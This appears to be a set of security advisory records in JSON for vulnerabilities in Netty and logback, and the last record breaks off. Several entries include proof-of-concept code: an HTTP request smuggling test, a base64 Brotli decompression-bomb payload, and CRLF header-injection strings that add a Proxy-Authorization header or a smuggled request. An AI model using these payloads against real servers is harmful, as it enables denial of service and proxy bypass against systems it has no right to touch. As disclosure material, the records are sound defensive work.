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        "datePublic": "2026-05-13T18:23:37.563Z",
        "descriptions": [
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            "lang": "en",
            "value": "A flaw was found in Netty, an asynchronous event-driven network application framework. A remote attacker can exploit this vulnerability by sending a crafted MQTT 5 header with an oversized Properties section. This causes Netty to repeatedly parse and buffer the large Properties section in memory before any message size limits are applied, leading to high CPU and memory consumption. This can result in a Denial of Service (DoS) condition, making the affected system unavailable."
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                "description": "Allocation of Resources Without Limits or Throttling",
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              "x_refsource_REDHAT"
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            "url": "https://access.redhat.com/security/cve/CVE-2026-44248"
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            "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477231"
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            "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-44248.json"
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            "lang": "en",
            "time": "2026-05-13T19:02:22.095Z",
            "value": "Reported to Red Hat."
          },
          {
            "lang": "en",
            "time": "2026-05-13T18:23:37.563Z",
            "value": "Made public."
          }
        ],
        "title": "netty: io.netty/netty-codec-mqtt: Netty: Denial of Service due to excessive resource consumption from crafted MQTT 5 header",
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              "version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
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              "status": "affected",
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      "descriptions": [
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          "value": "Netty is an asynchronous, event-driven network application framework. Prior to 4.2.13.Final and 4.1.133.Final, the MQTT 5 header Properties section is parsed and buffered before any message size limit is applied. Specifically, in MqttDecoder, the decodeVariableHeader() method is called before the bytesRemainingBeforeVariableHeader \u003e maxBytesInMessage check. The decodeVariableHeader() can call other methods which will call decodeProperties(). Effectively, Netty does not apply any limits to the size of the properties being decoded. Additionally, because MqttDecoder extends ReplayingDecoder, Netty will repeatedly re-parse the enormous Properties sections and buffer the bytes in memory, until the entire thing parses to completion. This can cause high resource usage in both CPU and memory. This vulnerability is fixed in 4.2.13.Final and 4.1.133.Final."
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            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
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      "title": "Netty: Resource exhaustion in MqttDecoder"
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.5.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "ch.qos.logback:logback-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-11226"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-21T21:10:11Z",
    "nvd_published_at": "2025-10-01T08:15:31Z",
    "severity": "MODERATE"
  },
  "details": "QOS.CH logback-core versions up to 1.5.18 contain an ACE vulnerability in conditional configuration file processing in Java applications. This vulnerability allows an attacker to execute arbitrary code by compromising an existing logback configuration file or by injecting a malicious environment variable before program execution.\n\nA successful attack requires the Janino library and Spring Framework to be present on the user\u0027s class path. Additionally, the attacker must have write access to a configuration file. Alternatively, the attacker could inject a malicious environment variable pointing to a malicious configuration file. In both cases, the attack requires existing privileges.",
  "id": "GHSA-25qh-j22f-pwp8",
  "modified": "2025-10-31T20:17:45Z",
  "published": "2025-10-01T09:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11226"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qos-ch/logback/issues/974"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qos-ch/logback/commit/61f6a2544f36b3016e0efd434ee21f19269f1df7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/qos-ch/logback"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qos-ch/logback/releases/tag/v_1.5.19"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.3.16"
    },
    {
      "type": "WEB",
      "url": "https://logback.qos.ch/news.html#1.5.19"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:H/UI:P/VC:H/VI:L/VA:L/SC:H/SI:L/SA:L",
      "type": "CVSS_V4"
    }
  ],
  "summary": "QOS.CH logback-core is vulnerable to Arbitrary Code Execution through file processing"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.118.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-25193"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-10T18:14:47Z",
    "nvd_published_at": "2025-02-10T22:15:38Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nAn unsafe reading of environment file could potentially cause a denial of service in Netty.\nWhen loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash.\n\n### Details\nA similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv\nThis issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit.\n\n\n### PoC\nThe PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00.\nWhen the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character.\n\n### Impact\nImpact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv",
  "id": "GHSA-389x-839f-4rhx",
  "modified": "2025-03-19T14:51:27Z",
  "published": "2025-02-10T18:14:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-389x-839f-4rhx"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25193"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/d1fbda62d3a47835d3fb35db8bd42ecc205a5386"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250221-0006"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service attack on windows app using Netty"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42585"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:22:27Z",
    "nvd_published_at": "2026-05-13T19:17:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nNetty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.\n\n### Details\nNetty incorrectly marks a request as chunked when malformed \"Transfer-Encoding: chunked, identity\" is present.\nAccording to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length\n\n\"\nIf a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding,\n the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request)\n status code and then close the connection.\n\"\n\nA possible scenario is when Netty is behind a proxy that doesn\u0027t reject requests with \"Transfer-Encoding: chunked, identity\", but prefers \"Content-Length\" and forwards the content to Netty.\n\n### PoC\nThe test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.\n\n```java\n@Test\n    public void test() {\n        String requestStr = \"POST / HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"Transfer-Encoding: chunked, identity\\r\\n\" +\n                \"Content-Length: 48\\r\\n\" +\n                \"\\r\\n\" +\n                \"0\\r\\n\" +\n                \"\\r\\n\" +\n                \"GET /smuggled HTTP/1.1\\r\\n\" +\n                \"Host: localhost\\r\\n\" +\n                \"\\r\\n\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());\n        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));\n\n        // Request 1\n        HttpRequest request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        assertTrue(request.headers().contains(\"Transfer-Encoding\"));\n        assertFalse(request.headers().contains(\"Content-Length\"));\n        LastHttpContent last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n\n        // Request 2\n        request = channel.readInbound();\n        assertTrue(request.decoderResult().isSuccess());\n        last = channel.readInbound();\n        assertTrue(last.decoderResult().isSuccess());\n        last.release();\n    }\n```\n\n### Impact\nHTTP Request Smuggling: Attacker injects arbitrary HTTP requests",
  "id": "GHSA-38f8-5428-x5cv",
  "modified": "2026-05-14T20:41:21Z",
  "published": "2026-05-07T00:22:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-38f8-5428-x5cv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42585"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-compression"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.5.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.125.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58057"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-03T18:00:55Z",
    "nvd_published_at": "2025-09-04T10:42:32Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nWith specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.\n\n### Details\n\n`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.\n\nTested on 4.1.118, but there were no changes to the decoder since.\n\n### PoC\n\nRun this test case with `-Xmx1G`:\n\n```java\nimport io.netty.buffer.Unpooled;\nimport io.netty.channel.embedded.EmbeddedChannel;\n\nimport java.util.Base64;\n\npublic class T {\n    public static void main(String[] args) {\n        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());\n        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode(\"aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=\")));\n    }\n}\n```\n\nError:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824)\n\tat java.base/java.nio.Bits.reserveMemory(Bits.java:178)\n\tat java.base/java.nio.DirectByteBuffer.\u003cinit\u003e(DirectByteBuffer.java:121)\n\tat java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332)\n\tat io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718)\n\tat io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693)\n\tat io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213)\n\tat io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:137)\n\tat io.netty.buffer.PoolArena.allocate(PoolArena.java:127)\n\tat io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188)\n\tat io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179)\n\tat io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116)\n\tat io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101)\n\tat io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137)\n\tat io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530)\n\tat io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469)\n\tat io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412)\n\tat io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440)\n\tat io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420)\n\tat io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868)\n\tat io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348)\n\tat io.netty.handler.codec.compression.T.main(T.java:11)\n```\n\n### Impact\n\nDoS for anyone using `BrotliDecoder` on untrusted input.",
  "id": "GHSA-3p8m-j85q-pgmj",
  "modified": "2025-09-04T13:51:43Z",
  "published": "2025-09-03T18:00:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-3p8m-j85q-pgmj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58057"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/9d804c54ce962408ae6418255a83a13924f7145d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty\u0027s decoders vulnerable to DoS via zip bomb style attack"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:11:40Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "LOW"
  },
  "details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n    // ...\n    HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n        .withValidation(false);  // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n    FullHttpRequest req = new DefaultFullHttpRequest(\n        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n        url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n    req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n    if (authorization != null) {\n        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n    }\n\n    if (outboundHeaders != null) {\n        req.headers().add(outboundHeaders);  // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n    }\n\n    return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput);  // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4=    \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n        // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n            .withValidation(false);\n\n        FullHttpRequest req = new DefaultFullHttpRequest(\n            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n            \"target.com:443\",\n            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n        req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n        // Inject CRLF in header value\n        String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n        req.headers().set(\"X-Forwarded-For\", malicious);\n\n        // Encode to wire format\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n        ch.writeOutbound(req);\n        ByteBuf out = ch.readOutbound();\n        String encoded = out.toString(StandardCharsets.UTF_8);\n        out.release();\n        ch.finishAndReleaseAll();\n\n        System.out.println(\"Wire format:\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n        System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n        System.out.println(\"VULNERABLE: \" +\n            (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n    }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n  Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n  Header accepted: YES (validation disabled!)\n  Wire format:\n    CONNECT target.com:443 HTTP/1.1\\r\n    host: target.com:443\\r\n    X-Forwarded-For: 1.2.3.4\\r\n    X-Forwarded-For: 127.0.0.1\\r          \u003c-- INJECTED\n    X-Admin: true\\r                        \u003c-- INJECTED\n    \\r\n\n  Injected X-Admin header in wire: true\n  VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n  With validation=true:\n    SAFE: Rejected - IllegalArgumentException\n  With validation=false:\n    VULNERABLE: Accepted CRLF in header value!\n    Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n    for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n        HttpUtil.validateHeaderValue(entry.getValue());\n    }\n    req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
  "id": "GHSA-45q3-82m4-75jr",
  "modified": "2026-05-14T20:40:54Z",
  "published": "2026-05-07T00:11:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
